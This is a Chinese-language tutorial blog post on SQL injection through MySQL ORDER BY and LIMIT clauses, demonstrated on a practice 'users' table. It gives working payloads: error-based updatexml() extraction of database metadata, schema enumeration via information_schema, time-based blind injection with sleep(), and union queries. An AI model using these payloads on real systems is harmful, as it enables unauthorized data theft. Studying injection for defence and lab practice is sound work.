• order by注入与limit注入


    order by注入与limit注入

    什么是order by排序注入?

    当页面出现mysql报错信息时,注入点在 order by后面,此时可以利用报错信息进行注入。即可控的位置在order by 子句后面。

    如下图所示,这是正常的order by语句。

    mysql> select * from users order by id;
    +----+----------+------------+
    | id | username | password   |
    +----+----------+------------+
    |  1 | Dumb     | Dumb       |
    |  2 | Angelina | I-kill-you |
    |  3 | Dummy    | p@ssword   |
    |  4 | secure   | crappy     |
    |  5 | stupid   | stupidity  |
    |  6 | superman | genious    |
    |  7 | batman   | mob!le     |
    |  8 | admin    | admin      |
    |  9 | admin1   | admin1     |
    | 10 | admin2   | admin2     |
    | 11 | admin3   | admin3     |
    | 12 | dhakkan  | dumbo      |
    | 14 | admin4   | admin4     |
    +----+----------+------------+
    13 rows in set (0.00 sec)
    
    mysql> select * from users order by id desc;
    +----+----------+------------+
    | id | username | password   |
    +----+----------+------------+
    | 14 | admin4   | admin4     |
    | 12 | dhakkan  | dumbo      |
    | 11 | admin3   | admin3     |
    | 10 | admin2   | admin2     |
    |  9 | admin1   | admin1     |
    |  8 | admin    | admin      |
    |  7 | batman   | mob!le     |
    |  6 | superman | genious    |
    |  5 | stupid   | stupidity  |
    |  4 | secure   | crappy     |
    |  3 | Dummy    | p@ssword   |
    |  2 | Angelina | I-kill-you |
    |  1 | Dumb     | Dumb       |
    +----+----------+------------+
    13 rows in set (0.00 sec)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39

    order by 排序注入案例

    我们通过报错函数与order by相结合实现注入

    获取当前数据库名:

    select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));
    
    • 1

    image-20220811150326087

    获取当前数据库用户:

    select * from users order by id and(updatexml(1,concat(0x7e,(select user())),0));
    
    • 1

    image-20220811150644735

    获取连接数据库的用户名:

    select * from users order by id and(updatexml(1,concat(0x7e,(select session_user())),0));
    
    • 1

    image-20220811150944575

    获取当前数据库路径:

    select * from users order by id and(updatexml(1,concat(0x7e,(select @@datadir)),0));
    
    • 1

    image-20220811150629454

    获取数据库所使用的操作系统:

    select * from users order by id and(updatexml(1,concat(0x7e,(select @@version_compile_os)),0));
    
    • 1

    image-20220811150821425

    order by 结合limit获取数据库列表信息

    select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),0));
    select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),0));
    select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),0));
    
    • 1
    • 2
    • 3

    image-20220811151520570

    因为group_concat()`批量查询输出结果长度有限制,不能超过32个字符,因此需要结合limit 一条一条获取,当然数据多的时候最好写个python脚本注入 。

    order by与盲注

    当页面没有展示MYSQL的错误信息时,且只能根据页面回显的状态进行判断时,可以使用布尔盲注也可以使用时间盲注

    以时间盲注为例:

    如下图所示表示基于时间的盲注

    select * from user order by if(1=1,1,sleep(1)); 
    上面这种情况就是为True,所以是正常时间回显
    select * from user order by if(1=2,1,sleep(1)); 
    这里返回的结果就是flase,所以他会有一个延迟的关系。
    
    • 1
    • 2
    • 3
    • 4

    image-20220811152647475

    由上图可以发现他们的时间是不同的,一个是判断为真是0.0 sec, 判断为假是13.10 sec

    order by 与 union 联合查询

    $query = "select * from users order by id $input ";没有使用括号包裹的时候,是无法直接使用union查询的。

    $query = "(select * from users order by id $input) ";使用括号进行包裹的时候,此时是可以进行union查询的。

    案例:

    (select * from users order by id ) union(select 1,(version()),3);
    
    • 1

    image-20220811152139874

  • 相关阅读:
    python关闭指定进程以excel为例
    MySQL数据库——权限控制及日志管理
    C语言详解系列——操作符详解
    AOP事务管理
    ChatGPT全方位解析:如何培养 AI 智能对话技能?
    解决编译中遇到的问题:Please port gnulib freadahead.c to your platform
    点云从入门到精通技术详解100篇-基于光谱共焦系统的三维点云数据处理(下)
    [思维]Sum Plus Product 2022杭电多校第9场 1010
    Linux命令:普通账号下启动定时任务而无需输入密码
    什么是腾讯云云硬盘?有哪些优势?应用于哪些场景?
  • 原文地址:https://blog.csdn.net/weixin_49472648/article/details/126286545